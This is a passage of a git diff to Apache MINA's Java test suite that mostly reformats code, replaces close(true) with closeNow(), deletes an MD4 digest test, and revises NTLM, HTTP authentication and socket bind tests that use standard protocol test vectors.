sessionIdle(IoSession session, IdleStatus status) - throws Exception { + public void sessionIdle(IoSession session, IdleStatus status) throws Exception { LOGGER.info("ReceiverHandler: sessionIdle"); - session.close(true); + session.closeNow(); } @Override - public void exceptionCaught(IoSession session, Throwable cause) - throws Exception { + public void exceptionCaught(IoSession session, Throwable cause) throws Exception { LOGGER.error("ReceiverHandler: exceptionCaught", cause); latch.countDown(); } @@ -468,8 +450,7 @@ public void sessionClosed(IoSession session) throws Exception { } @Override - public void messageReceived(IoSession session, Object message) - throws Exception { + public void messageReceived(IoSession session, Object message) throws Exception { LOGGER.info("messageReceived"); IoBuffer buf = (IoBuffer) message; while (buf.hasRemaining()) { @@ -478,7 +459,7 @@ public void messageReceived(IoSession session, Object message) } LOGGER.info("messageReceived: bytesRead = {}", bytesRead); if (bytesRead >= size) { - session.close(true); + session.closeNow(); } } } @@ -487,26 +468,26 @@ public static WriteRequest eqWriteRequest(WriteRequest expected) { EasyMock.reportMatcher(new WriteRequestMatcher(expected)); return null; } - + private static class WriteRequestMatcher implements IArgumentMatcher { private final WriteRequest expected; - + public WriteRequestMatcher(WriteRequest expected) { - this.expected = expected; + this.expected = expected; } - + public boolean matches(Object actual) { if (actual instanceof WriteRequest) { WriteRequest w2 = (WriteRequest) actual; return expected.getMessage().equals(w2.getMessage()) - && expected.getFuture().isWritten() == w2.getFuture() - .isWritten(); + && expected.getFuture().isWritten() == w2.getFuture().isWritten(); } return false; } + public void appendTo(StringBuffer buffer) { - buffer.append("Expected a WriteRequest with the message '").append(expected.getMessage()).append("'"); + buffer.append("Expected a WriteRequest with the message '").append(expected.getMessage()).append("'"); } } @@ -519,7 +500,7 @@ private static class DummyWriteFuture implements WriteFuture { public DummyWriteFuture() { super(); } - + public boolean isWritten() { return written; } @@ -532,10 +513,6 @@ public IoSession getSession() { return null; } - public Object getLock() { - return this; - } - public void join() { // Do nothing } @@ -560,8 +537,7 @@ public WriteFuture await() throws InterruptedException { return this; } - public boolean await(long timeout, TimeUnit unit) - throws InterruptedException { + public boolean await(long timeout, TimeUnit unit) throws InterruptedException { return true; } @@ -590,5 +566,4 @@ public void setException(Throwable cause) { } } - } diff --git a/mina-core/src/test/java/org/apache/mina/filter/stream/FileRegionWriteFilterTest.java b/mina-core/src/test/java/org/apache/mina/filter/stream/FileRegionWriteFilterTest.java index 0c332c30bd..a4b79c12af 100644 --- a/mina-core/src/test/java/org/apache/mina/filter/stream/FileRegionWriteFilterTest.java +++ b/mina-core/src/test/java/org/apache/mina/filter/stream/FileRegionWriteFilterTest.java @@ -39,7 +39,7 @@ public class FileRegionWriteFilterTest extends AbstractStreamWriteFilterTestApache MINA Project */ public class StreamWriteFilterTest extends AbstractStreamWriteFilterTest { - + @Override protected StreamWriteFilter createFilter() { return new StreamWriteFilter(); } - + @Override protected InputStream createMessage(byte[] data) throws Exception { return new ByteArrayInputStream(data); } - + } diff --git a/mina-core/src/test/java/org/apache/mina/filter/util/WrappingFilterTest.java b/mina-core/src/test/java/org/apache/mina/filter/util/WrappingFilterTest.java index d0a5eaad6e..6bad7234ea 100644 --- a/mina-core/src/test/java/org/apache/mina/filter/util/WrappingFilterTest.java +++ b/mina-core/src/test/java/org/apache/mina/filter/util/WrappingFilterTest.java @@ -81,7 +81,7 @@ public void testFilter() throws Exception { nextFilter.sessionClosed(session); /* replay */ - EasyMock.replay( nextFilter ); + EasyMock.replay(nextFilter); wrappingFilter.sessionCreated(nextFilter, session); wrappingFilter.sessionOpened(nextFilter, session); wrappingFilter.sessionIdle(nextFilter, session, IdleStatus.READER_IDLE); @@ -89,13 +89,13 @@ public void testFilter() throws Exception { wrappingFilter.messageSent(nextFilter, session, writeRequest1); wrappingFilter.messageSent(nextFilter, session, writeRequest2); wrappingFilter.messageReceived(nextFilter, session, message2); - wrappingFilter.filterWrite(nextFilter,session, writeRequest1); + wrappingFilter.filterWrite(nextFilter, session, writeRequest1); wrappingFilter.filterClose(nextFilter, session); wrappingFilter.exceptionCaught(nextFilter, session, cause); wrappingFilter.sessionClosed(nextFilter, session); /* verify */ - EasyMock.verify( nextFilter ); + EasyMock.verify(nextFilter); /* check event lists */ assertEquals(11, wrappingFilter.eventsBefore.size()); @@ -110,14 +110,13 @@ public void testFilter() throws Exception { assertEquals(IoEventType.CLOSE, wrappingFilter.eventsBefore.get(8)); assertEquals(IoEventType.EXCEPTION_CAUGHT, wrappingFilter.eventsBefore.get(9)); assertEquals(IoEventType.SESSION_CLOSED, wrappingFilter.eventsBefore.get(10)); - assertEquals(wrappingFilter.eventsBefore, wrappingFilter.eventsAfter); + assertEquals(wrappingFilter.eventsBefore, wrappingFilter.eventsAfter); } - private static class MyWrappingFilter extends CommonEventFilter { - List eventsBefore = new ArrayList(); + List eventsBefore = new ArrayList<>(); - List eventsAfter = new ArrayList(); + List eventsAfter = new ArrayList<>(); /** * Default constructor @@ -125,7 +124,7 @@ private static class MyWrappingFilter extends CommonEventFilter { public MyWrappingFilter() { super(); } - + @Override protected void filter(IoFilterEvent event) { eventsBefore.add(event.getType()); diff --git a/mina-core/src/test/java/org/apache/mina/handler/chain/ChainedIoHandlerTest.java b/mina-core/src/test/java/org/apache/mina/handler/chain/ChainedIoHandlerTest.java index 8b43a9b3cc..a828b5f713 100644 --- a/mina-core/src/test/java/org/apache/mina/handler/chain/ChainedIoHandlerTest.java +++ b/mina-core/src/test/java/org/apache/mina/handler/chain/ChainedIoHandlerTest.java @@ -53,8 +53,7 @@ public TestCommand(StringBuilder buf, char ch) { this.ch = ch; } - public void execute(NextCommand next, IoSession session, Object message) - throws Exception { + public void execute(NextCommand next, IoSession session, Object message) throws Exception { buf.append(ch); next.execute(session, message); } diff --git a/mina-core/src/test/java/org/apache/mina/handler/demux/DemuxingIoHandlerTest.java b/mina-core/src/test/java/org/apache/mina/handler/demux/DemuxingIoHandlerTest.java index 88275821c9..998dd876be 100644 --- a/mina-core/src/test/java/org/apache/mina/handler/demux/DemuxingIoHandlerTest.java +++ b/mina-core/src/test/java/org/apache/mina/handler/demux/DemuxingIoHandlerTest.java @@ -64,7 +64,7 @@ public void setUp() throws Exception { handler2 = EasyMock.createMock(MessageHandler.class); handler3 = EasyMock.createMock(MessageHandler.class); - session = EasyMock.createMock( IoSession.class); + session = EasyMock.createMock(IoSession.class); } @Test diff --git a/mina-core/src/test/java/org/apache/mina/proxy/HttpAuthTest.java b/mina-core/src/test/java/org/apache/mina/proxy/HttpAuthTest.java index 0fe4eeee47..9e686cc6ff 100644 --- a/mina-core/src/test/java/org/apache/mina/proxy/HttpAuthTest.java +++ b/mina-core/src/test/java/org/apache/mina/proxy/HttpAuthTest.java @@ -29,7 +29,7 @@ import org.junit.Test; /** - * HttpAuthTest.java - JUNIT tests of the HTTP Basic & Digest authentication mechanisms. + * HttpAuthTest.java - JUNIT tests of the HTTP Basic & Digest authentication mechanisms. * See RFC 2617 . * * @author Apache MINA Project @@ -46,13 +46,11 @@ public class HttpAuthTest { * Tests Basic authentication mechanism. */ @Test - public void testBasicAuthResponse() { String USER = "Aladdin"; String PWD = "open sesame"; - assertEquals("QWxhZGRpbjpvcGVuIHNlc2FtZQ==", HttpBasicAuthLogicHandler - .createAuthorization(USER, PWD)); + assertEquals("QWxhZGRpbjpvcGVuIHNlc2FtZQ==", HttpBasicAuthLogicHandler.createAuthorization(USER, PWD)); } /** @@ -64,7 +62,7 @@ public void testDigestAuthResponse() { String PWD = "Circle Of Life"; String METHOD = "GET"; - HashMap map = new HashMap(); + HashMap map = new HashMap<>(); map.put("realm", "testrealm@host.com"); map.put("qop", "auth"); @@ -79,8 +77,7 @@ public void testDigestAuthResponse() { String response = null; try { - response = DigestUtilities.computeResponseValue(new DummySession(), - map, METHOD, PWD, CHARSET_IN_USE, null); + response = DigestUtilities.computeResponseValue(new DummySession(), map, METHOD, PWD, CHARSET_IN_USE, null); assertEquals("6629fae49393a05397450978507c4ef1", response); writeResponse(map, response); } catch (Exception e) { diff --git a/mina-core/src/test/java/org/apache/mina/proxy/MD4Test.java b/mina-core/src/test/java/org/apache/mina/proxy/MD4Test.java deleted file mode 100644 index ac9aa505bc..0000000000 --- a/mina-core/src/test/java/org/apache/mina/proxy/MD4Test.java +++ /dev/null @@ -1,107 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - * - */ -package org.apache.mina.proxy; - -import static org.apache.mina.proxy.utils.ByteUtilities.asHex; -import static org.junit.Assert.assertEquals; - -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; -import java.security.NoSuchProviderException; -import java.security.Security; - -import org.apache.mina.proxy.utils.MD4Provider; -import org.junit.Before; -import org.junit.Test; - -/** - * MD4Test.java - JUnit testcase that tests the rfc 1320 test suite. - * @see RFC 1320 - * - * @author Apache MINA Project - * @since MINA 2.0.0-M3 - */ -public class MD4Test { - - /** - * {@inheritDoc} - */ - @Before - public void setUp() throws Exception { - if (Security.getProvider(MD4Provider.PROVIDER_NAME) == null) { - System.out.print("Adding MINA provider..."); - Security.addProvider(new MD4Provider()); - //System.out.println(" [Ok]"); - } - } - - /** - * Test suite for the MD4 algorithm. - */ - @Test - public void testRFCVectors() throws NoSuchAlgorithmException, - NoSuchProviderException { - MessageDigest md4 = MessageDigest.getInstance("MD4", - MD4Provider.PROVIDER_NAME); - doTest(md4, "31d6cfe0d16ae931b73c59d7e0c089c0", ""); - doTest(md4, "bde52cb31de33e46245e05fbdbd6fb24", "a"); - doTest(md4, "a448017aaf21d8525fc10ae87aa6729d", "abc"); - doTest(md4, "d9130a8164549fe818874806e1c7014b", "message digest"); - doTest(md4, "d79e1c308aa5bbcdeea8ed63df412da9", - "abcdefghijklmnopqrstuvwxyz"); - doTest(md4, "043f8582f241db351ce627e153e7f0e4", - "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"); - doTest( - md4, - "e33b4ddc9c38f2199c3e7b164fcc0536", - "12345678901234567890123456789012345678901234567890123456789012345678901234567890"); - } - - /** - * Original test vector found on wikipedia(en) - * and wikipedia(fr) - */ - @Test - public void testWikipediaVectors() throws NoSuchAlgorithmException, - NoSuchProviderException { - MessageDigest md4 = MessageDigest.getInstance("MD4", - MD4Provider.PROVIDER_NAME); - doTest(md4, "b94e66e0817dd34dc7858a0c131d4079", - "Wikipedia, l'encyclopedie libre et gratuite"); - doTest(md4, "1bee69a46ba811185c194762abaeae90", - "The quick brown fox jumps over the lazy dog"); - doTest(md4, "b86e130ce7028da59e672d56ad0113df", - "The quick brown fox jumps over the lazy cog"); - } - - /** - * Performs md4 digesting on the provided test vector and verifies that the - * result equals to the expected result. - * - * @param md4 the md4 message digester - * @param expected the expected hex formatted string - * @param testVector the string message - */ - private static void doTest(MessageDigest md4, String expected, - String testVector) { - String result = asHex(md4.digest(testVector.getBytes())); - assertEquals(expected, result); - } -} diff --git a/mina-core/src/test/java/org/apache/mina/proxy/NTLMTest.java b/mina-core/src/test/java/org/apache/mina/proxy/NTLMTest.java index b48b115099..d53889d699 100644 --- a/mina-core/src/test/java/org/apache/mina/proxy/NTLMTest.java +++ b/mina-core/src/test/java/org/apache/mina/proxy/NTLMTest.java @@ -26,12 +26,10 @@ import java.io.UnsupportedEncodingException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; -import java.security.Security; import org.apache.mina.proxy.handlers.http.ntlm.NTLMResponses; import org.apache.mina.proxy.handlers.http.ntlm.NTLMUtilities; import org.apache.mina.proxy.utils.ByteUtilities; -import org.apache.mina.proxy.utils.MD4Provider; import org.junit.Test; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -43,17 +41,12 @@ * @since MINA 2.0.0-M3 */ public class NTLMTest { - private final static Logger logger = LoggerFactory - .getLogger(NTLMTest.class); + private final static Logger logger = LoggerFactory.getLogger(NTLMTest.class); - static { - if (Security.getProvider("MINA") == null) { - Security.addProvider(new MD4Provider()); - } - } - /** * Tests bytes manipulations. + * + * @throws UnsupportedEncodingException If the encoding is not supported */ @Test public void testEncoding() throws UnsupportedEncodingException { @@ -62,10 +55,8 @@ public void testEncoding() throws UnsupportedEncodingException { assertEquals("01000000", asHex(ByteUtilities.writeInt((short) 1))); assertEquals("4e544c4d53535000", asHex(NTLMUtilities.NTLM_SIGNATURE)); - assertEquals("680065006c006c006f00", asHex(ByteUtilities - .getUTFStringAsByteArray("hello"))); - assertEquals("48454c4c4f", asHex(ByteUtilities - .getOEMStringAsByteArray("HELLO"))); + assertEquals("680065006c006c006f00", asHex(ByteUtilities.getUTFStringAsByteArray("hello"))); + assertEquals("48454c4c4f", asHex(ByteUtilities.getOEMStringAsByteArray("HELLO"))); } /** @@ -85,8 +76,7 @@ public void testMethods() { @Test public void testSecurityBuffer() { byte[] secBuf = new byte[8]; - NTLMUtilities.writeSecurityBuffer((short) 1234, (short) 1234, 4321, - secBuf, 0); + NTLMUtilities.writeSecurityBuffer((short) 1234, (short) 1234, 4321, secBuf, 0); assertEquals("d204d204e1100000", asHex(secBuf)); } @@ -95,30 +85,22 @@ public void testSecurityBuffer() { */ @Test public void testType1Message() { - int customFlags = NTLMUtilities.FLAG_NEGOTIATE_UNICODE - | NTLMUtilities.FLAG_NEGOTIATE_OEM - | NTLMUtilities.FLAG_NEGOTIATE_NTLM - | NTLMUtilities.FLAG_REQUEST_SERVER_AUTH_REALM - | NTLMUtilities.FLAG_NEGOTIATE_DOMAIN_SUPPLIED - | NTLMUtilities.FLAG_NEGOTIATE_WORKSTATION_SUPPLIED; + int customFlags = NTLMUtilities.FLAG_NEGOTIATE_UNICODE | NTLMUtilities.FLAG_NEGOTIATE_OEM + | NTLMUtilities.FLAG_NEGOTIATE_NTLM | NTLMUtilities.FLAG_REQUEST_SERVER_AUTH_REALM + | NTLMUtilities.FLAG_NEGOTIATE_DOMAIN_SUPPLIED | NTLMUtilities.FLAG_NEGOTIATE_WORKSTATION_SUPPLIED; byte[] osVer = new byte[8]; - NTLMUtilities - .writeOSVersion((byte) 5, (byte) 0, (short) 2195, osVer, 0); + NTLMUtilities.writeOSVersion((byte) 5, (byte) 0, (short) 2195, osVer, 0); - String msgType1 = asHex(NTLMUtilities.createType1Message("WORKSTATION", - "DOMAIN", customFlags, osVer)); - assertEquals( - "4e544c4d53535000010000000732000006000600330000000b000b0028000000" - + "050093080000000f574f524b53544154494f4e444f4d41494e", - msgType1); + String msgType1 = asHex(NTLMUtilities.createType1Message("WORKSTATION", "DOMAIN", customFlags, osVer)); + assertEquals("4e544c4d53535000010000000732000006000600330000000b000b0028000000" + + "050093080000000f574f524b53544154494f4e444f4d41494e", msgType1); assertEquals("050093080000000f", asHex(osVer)); - + //Microsoft Windows XP [version 5.1.2600] String os = System.getProperty("os.name"); - if (os != null && os.toUpperCase().contains("WINDOWS") && - "5.1".equals(System.getProperty("os.version"))) { + if (os != null && os.toUpperCase().contains("WINDOWS") && "5.1".equals(System.getProperty("os.version"))) { String hex = asHex(NTLMUtilities.getOsVersion()); assertEquals("0501", hex.substring(0, 4)); assertEquals(16, hex.length()); @@ -128,6 +110,8 @@ public void testType1Message() { /** * Tests creating a type 3 message. * WARNING: Will silently fail if no MD4 digest provider is available. + * + * @throws Exception If the test failed */ @Test public void testType3Message() throws Exception { @@ -144,52 +128,41 @@ public void testType3Message() throws Exception { + "44004f004d00410049004e0002000c0044004f004d004100" + "49004e0001000c0053004500520056004500520004001400" + "64006f006d00610069006e002e0063006f006d0003002200" - + "7300650072007600650072002e0064006f006d0061006900" - + "6e002e0063006f006d0000000000"; + + "7300650072007600650072002e0064006f006d0061006900" + "6e002e0063006f006d0000000000"; byte[] challengePacket = ByteUtilities.asByteArray(msg); - int serverFlags = NTLMUtilities - .extractFlagsFromType2Message(challengePacket); + int serverFlags = NTLMUtilities.extractFlagsFromType2Message(challengePacket); assertEquals(flags, serverFlags); - NTLMUtilities - .printTargetInformationBlockFromType2Message(challengePacket, - serverFlags, new PrintWriter(System.out, true)); + NTLMUtilities.printTargetInformationBlockFromType2Message(challengePacket, serverFlags, new PrintWriter( + System.out, true)); byte[] osVer = new byte[8]; - NTLMUtilities - .writeOSVersion((byte) 5, (byte) 0, (short) 2195, osVer, 0); + NTLMUtilities.writeOSVersion((byte) 5, (byte) 0, (short) 2195, osVer, 0); - byte[] challenge = NTLMUtilities - .extractChallengeFromType2Message(challengePacket); + byte[] challenge = NTLMUtilities.extractChallengeFromType2Message(challengePacket); assertEquals("0123456789abcdef", asHex(challenge)); - String expectedTargetInfoBlock = "02000c0044004f004d00410049004e00" - + "01000c00530045005200560045005200" - + "0400140064006f006d00610069006e00" - + "2e0063006f006d000300220073006500" - + "72007600650072002e0064006f006d00" - + "610069006e002e0063006f006d000000" + "0000"; + String expectedTargetInfoBlock = "02000c0044004f004d00410049004e00" + "01000c00530045005200560045005200" + + "0400140064006f006d00610069006e00" + "2e0063006f006d000300220073006500" + + "72007600650072002e0064006f006d00" + "610069006e002e0063006f006d000000" + "0000"; - byte[] targetInfo = NTLMUtilities.extractTargetInfoFromType2Message( - challengePacket, null); + byte[] targetInfo = NTLMUtilities.extractTargetInfoFromType2Message(challengePacket, null); assertEquals(expectedTargetInfoBlock, asHex(targetInfo)); - assertEquals("DOMAIN", NTLMUtilities.extractTargetNameFromType2Message( - challengePacket, new Integer(serverFlags))); + assertEquals("DOMAIN", + NTLMUtilities.extractTargetNameFromType2Message(challengePacket, new Integer(serverFlags))); serverFlags = 0x00000001 | 0x00000200; - String msgType3 = asHex(NTLMUtilities.createType3Message("user", - "SecREt01", challenge, "DOMAIN", "WORKSTATION", serverFlags, - null)); + String msgType3 = asHex(NTLMUtilities.createType3Message("user", "SecREt01", challenge, "DOMAIN", + "WORKSTATION", serverFlags, null)); String expected = "4e544c4d5353500003000000180018006a00000018001800" + "820000000c000c0040000000080008004c00000016001600" + "54000000000000009a0000000102000044004f004d004100" + "49004e00750073006500720057004f0052004b0053005400" + "4100540049004f004e00c337cd5cbd44fc9782a667af6d42" - + "7c6de67c20c2d3e77c5625a98c1c31e81847466b29b2df46" - + "80f39958fb8c213a9cc6"; + + "7c6de67c20c2d3e77c5625a98c1c31e81847466b29b2df46" + "80f39958fb8c213a9cc6"; assertEquals(expected, msgType3); } @@ -198,19 +171,14 @@ public void testType3Message() throws Exception { */ @Test public void testFlags() { - int flags = NTLMUtilities.FLAG_NEGOTIATE_UNICODE - | NTLMUtilities.FLAG_REQUEST_SERVER_AUTH_REALM - | NTLMUtilities.FLAG_NEGOTIATE_NTLM - | NTLMUtilities.FLAG_NEGOTIATE_ALWAYS_SIGN; + int flags = NTLMUtilities.FLAG_NEGOTIATE_UNICODE | NTLMUtilities.FLAG_REQUEST_SERVER_AUTH_REALM + | NTLMUtilities.FLAG_NEGOTIATE_NTLM | NTLMUtilities.FLAG_NEGOTIATE_ALWAYS_SIGN; - int flags2 = NTLMUtilities.FLAG_NEGOTIATE_UNICODE - | NTLMUtilities.FLAG_REQUEST_SERVER_AUTH_REALM + int flags2 = NTLMUtilities.FLAG_NEGOTIATE_UNICODE | NTLMUtilities.FLAG_REQUEST_SERVER_AUTH_REALM | NTLMUtilities.FLAG_NEGOTIATE_NTLM; - assertEquals(flags2, flags - & (~NTLMUtilities.FLAG_NEGOTIATE_ALWAYS_SIGN)); - assertEquals(flags2, flags2 - & (~NTLMUtilities.FLAG_NEGOTIATE_ALWAYS_SIGN)); + assertEquals(flags2, flags & (~NTLMUtilities.FLAG_NEGOTIATE_ALWAYS_SIGN)); + assertEquals(flags2, flags2 & (~NTLMUtilities.FLAG_NEGOTIATE_ALWAYS_SIGN)); assertEquals("05820000", asHex(ByteUtilities.writeInt(flags))); byte[] testFlags = ByteUtilities.asByteArray("7F808182"); @@ -225,6 +193,8 @@ public void testFlags() { /** * Tests response computing. * WARNING: Will silently fail if no MD4 digest provider is available. + * + * @throws Exception If the test failed */ @Test public void testResponses() throws Exception { @@ -237,49 +207,38 @@ public void testResponses() throws Exception { String LMResponse = "c337cd5cbd44fc9782a667af6d427c6de67c20c2d3e77c56"; - assertEquals(LMResponse, asHex(NTLMResponses.getLMResponse("SecREt01", - ByteUtilities.asByteArray("0123456789abcdef")))); + assertEquals(LMResponse, + asHex(NTLMResponses.getLMResponse("SecREt01", ByteUtilities.asByteArray("0123456789abcdef")))); String NTLMResponse = "25a98c1c31e81847466b29b2df4680f39958fb8c213a9cc6"; - assertEquals(NTLMResponse, asHex(NTLMResponses.getNTLMResponse( - "SecREt01", ByteUtilities.asByteArray("0123456789abcdef")))); + assertEquals(NTLMResponse, + asHex(NTLMResponses.getNTLMResponse("SecREt01", ByteUtilities.asByteArray("0123456789abcdef")))); String LMv2Response = "d6e6152ea25d03b7c6ba6629c2d6aaf0ffffff0011223344"; - assertEquals(LMv2Response, asHex(NTLMResponses.getLMv2Response( - "DOMAIN", "user", "SecREt01", ByteUtilities - .asByteArray("0123456789abcdef"), ByteUtilities - .asByteArray("ffffff0011223344")))); + assertEquals( + LMv2Response, + asHex(NTLMResponses.getLMv2Response("DOMAIN", "user", "SecREt01", + ByteUtilities.asByteArray("0123456789abcdef"), ByteUtilities.asByteArray("ffffff0011223344")))); String NTLM2Response = "10d550832d12b2ccb79d5ad1f4eed3df82aca4c3681dd455"; - assertEquals(NTLM2Response, asHex(NTLMResponses - .getNTLM2SessionResponse("SecREt01", ByteUtilities - .asByteArray("0123456789abcdef"), ByteUtilities - .asByteArray("ffffff0011223344")))); - - String NTLMv2Response = "cbabbca713eb795d04c97abc01ee4983" - + "01010000000000000090d336b734c301" - + "ffffff00112233440000000002000c00" - + "44004f004d00410049004e0001000c00" - + "53004500520056004500520004001400" - + "64006f006d00610069006e002e006300" - + "6f006d00030022007300650072007600" - + "650072002e0064006f006d0061006900" + assertEquals(NTLM2Response, asHex(NTLMResponses.getNTLM2SessionResponse("SecREt01", + ByteUtilities.asByteArray("0123456789abcdef"), ByteUtilities.asByteArray("ffffff0011223344")))); + + String NTLMv2Response = "cbabbca713eb795d04c97abc01ee4983" + "01010000000000000090d336b734c301" + + "ffffff00112233440000000002000c00" + "44004f004d00410049004e0001000c00" + + "53004500520056004500520004001400" + "64006f006d00610069006e002e006300" + + "6f006d00030022007300650072007600" + "650072002e0064006f006d0061006900" + "6e002e0063006f006d00000000000000" + "0000"; - String targetInformation = "02000c0044004f004d00410049004e00" - + "01000c00530045005200560045005200" - + "0400140064006f006d00610069006e00" - + "2e0063006f006d000300220073006500" - + "72007600650072002e0064006f006d00" - + "610069006e002e0063006f006d000000" + "0000"; - - assertEquals(NTLMv2Response, asHex(NTLMResponses.getNTLMv2Response( - "DOMAIN", "user", "SecREt01", ByteUtilities - .asByteArray(targetInformation), ByteUtilities - .asByteArray("0123456789abcdef"), ByteUtilities - .asByteArray("ffffff0011223344"), 1055844000000L))); + String targetInformation = "02000c0044004f004d00410049004e00" + "01000c00530045005200560045005200" + + "0400140064006f006d00610069006e00" + "2e0063006f006d000300220073006500" + + "72007600650072002e0064006f006d00" + "610069006e002e0063006f006d000000" + "0000"; + + assertEquals(NTLMv2Response, asHex(NTLMResponses.getNTLMv2Response("DOMAIN", "user", "SecREt01", + ByteUtilities.asByteArray(targetInformation), ByteUtilities.asByteArray("0123456789abcdef"), + ByteUtilities.asByteArray("ffffff0011223344"), 1055844000000L))); } -} \ No newline at end of file +} diff --git a/mina-core/src/test/java/org/apache/mina/transport/AbstractBindTest.java b/mina-core/src/test/java/org/apache/mina/transport/AbstractBindTest.java index 90a379b7dc..860810ea25 100644 --- a/mina-core/src/test/java/org/apache/mina/transport/AbstractBindTest.java +++ b/mina-core/src/test/java/org/apache/mina/transport/AbstractBindTest.java @@ -41,7 +41,9 @@ import org.apache.mina.transport.socket.DatagramSessionConfig; import org.apache.mina.transport.socket.SocketAcceptor; import org.apache.mina.transport.socket.SocketSessionConfig; +import org.apache.mina.util.AvailablePortFinder; import org.junit.After; +import org.junit.Assert; import org.junit.Ignore; import org.junit.Test; import org.slf4j.Logger; @@ -78,16 +80,14 @@ protected void bind(boolean reuseAddress) throws IOException { // Let's start from port #1 to detect possible resource leak // because test will fail in port 1-1023 if user run this test // as a normal user. - for (port = 1; port <= 65535; port++) { - socketBound = false; - try { - acceptor.setDefaultLocalAddress(createSocketAddress(port)); - acceptor.bind(); - socketBound = true; - break; - } catch (IOException e) { - //System.out.println(e.getMessage()); - } + port = AvailablePortFinder.getNextAvailable(); + socketBound = false; + try { + acceptor.setDefaultLocalAddress(createSocketAddress(port)); + acceptor.bind(); + socketBound = true; + } catch (IOException e) { + //System.out.println(e.getMessage()); } // If there is no port available, test fails. @@ -100,8 +100,7 @@ protected void bind(boolean reuseAddress) throws IOException { private void setReuseAddress(boolean reuseAddress) { if (acceptor instanceof DatagramAcceptor) { - ((DatagramSessionConfig) acceptor.getSessionConfig()) - .setReuseAddress(reuseAddress); + ((DatagramSessionConfig) acceptor.getSessionConfig()).setReuseAddress(reuseAddress); } else if (acceptor instanceof SocketAcceptor) { ((SocketAcceptor) acceptor).setReuseAddress(reuseAddress); } @@ -158,13 +157,18 @@ public void testDuplicateUnbind() throws IOException { } @Test - public void testManyTimes() throws IOException { + public void testManyTimes() throws IOException, InterruptedException { bind(true); for (int i = 0; i < 1024; i++) { + Assert.assertTrue("Bound addresses is empty", acceptor.getLocalAddresses().size() > 0); acceptor.unbind(); + Thread.sleep(5); + Assert.assertTrue("Bound addresses is not empty", acceptor.getLocalAddresses().size() == 0); acceptor.bind(); } + + acceptor.unbind(); } @Test @@ -204,7 +208,7 @@ public void testUnbindResume() throws Exception { IoConnector connector = newConnector(); IoSession session = null; connector.setHandler(new IoHandlerAdapter()); - + ConnectFuture future = connector.connect(createSocketAddress(port)); future.awaitUninterruptibly(); session = future.getSession(); @@ -226,10 +230,10 @@ public void testUnbindResume() throws Exception { for (IoSession element : managedSession) { assertFalse(element.isConnected()); } - + // Rebind bind(true); - + // Check again the connection future = connector.connect(createSocketAddress(port)); future.awaitUninterruptibly(); @@ -261,8 +265,7 @@ public void testRegressively() throws IOException { } private static class EchoProtocolHandler extends IoHandlerAdapter { - private static final Logger LOG = LoggerFactory - .getLogger(EchoProtocolHandler.class); + private static final Logger LOG = LoggerFactory.getLogger(EchoProtocolHandler.class); /** * Default constructor @@ -270,12 +273,11 @@ private static class EchoProtocolHandler extends IoHandlerAdapter { public EchoProtocolHandler() { super(); } - + @Override public void sessionCreated(IoSession session) { if (session.getConfig() instanceof SocketSessionConfig) { - ((SocketSessionConfig) session.getConfig()) - .setReceiveBufferSize(2048); + ((SocketSessionConfig) session.getConfig()).setReceiveBufferSize(2048); } session.getConfig().setIdleTime(IdleStatus.BOTH_IDLE, 10); @@ -283,29 +285,25 @@ public void sessionCreated(IoSession session) { @Override public void sessionIdle(IoSession session, IdleStatus status) { - LOG.info("*** IDLE #" + session.getIdleCount(IdleStatus.BOTH_IDLE) - + " ***"); + LOG.info("*** IDLE #" + session.getIdleCount(IdleStatus.BOTH_IDLE) + " ***"); } @Override public void exceptionCaught(IoSession session, Throwable cause) { //cause.printStackTrace(); - session.close(true); + session.closeNow(); } @Override - public void messageReceived(IoSession session, Object message) - throws Exception { + public void messageReceived(IoSession session, Object message) throws Exception { if (!(message instanceof IoBuffer)) { return; } IoBuffer rb = (IoBuffer) message; // Write the received data back to remote peer - IoBuffer wb = IoBuffer.allocate(rb.remaining()); - wb.put(rb); - wb.flip(); + IoBuffer wb = rb.duplicate(); session.write(wb); } } -} \ No newline at end of file +} diff --git a/mina-core/src/test/java/org/apache/mina/transport/AbstractConnectorTest.java b/mina-core/src/test/java/org/apache/mina/transport/AbstractConnectorTest.java index 93ac53f1a4..82a79beac3 100644 --- a/mina-core/src/test/java/org/apache/mina/transport/AbstractConnectorTest.java +++ b/mina-core/src/test/java/org/apache/mina/transport/AbstractConnectorTest.java @@ -25,6 +25,7 @@ import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; +import java.net.InetAddress; import java.net.InetSocketAddress; import java.util.concurrent.CountDownLatch; import java.util.concurrent.TimeUnit; @@ -48,6 +49,7 @@ public abstract class AbstractConnectorTest { protected abstract IoAcceptor createAcceptor(); + protected abstract IoConnector createConnector(); @Test @@ -76,11 +78,10 @@ public void exceptionCaught(IoSession session, Throwable cause) { buf.append("X"); } }); - ConnectFuture future = connector.connect(new InetSocketAddress( - "localhost", port)); + ConnectFuture future = connector.connect(new InetSocketAddress("localhost", port)); future.awaitUninterruptibly(); buf.append("3"); - future.getSession().close(true); + future.getSession().closeNow(); // sessionCreated() will fire before the connect future completes // but sessionOpened() may not assertTrue(Pattern.matches("12?32?", buf.toString())); @@ -111,14 +112,13 @@ public void exceptionCaught(IoSession session, Throwable cause) { buf.append("Z"); } }); - + try { - ConnectFuture future = connector.connect(new InetSocketAddress( - "localhost", port)); + ConnectFuture future = connector.connect(new InetSocketAddress("localhost", port)); future.awaitUninterruptibly(); buf.append("1"); try { - future.getSession().close(true); + future.getSession().closeNow(); fail(); } catch (RuntimeIoException e) { // Signifies a successful test execution @@ -129,19 +129,21 @@ public void exceptionCaught(IoSession session, Throwable cause) { connector.dispose(); } } - + /** * Test to make sure the SessionCallback gets invoked before IoHandler.sessionCreated. + * + * @throws Exception is the test failed */ @Test public void testSessionCallbackInvocation() throws Exception { final int callbackInvoked 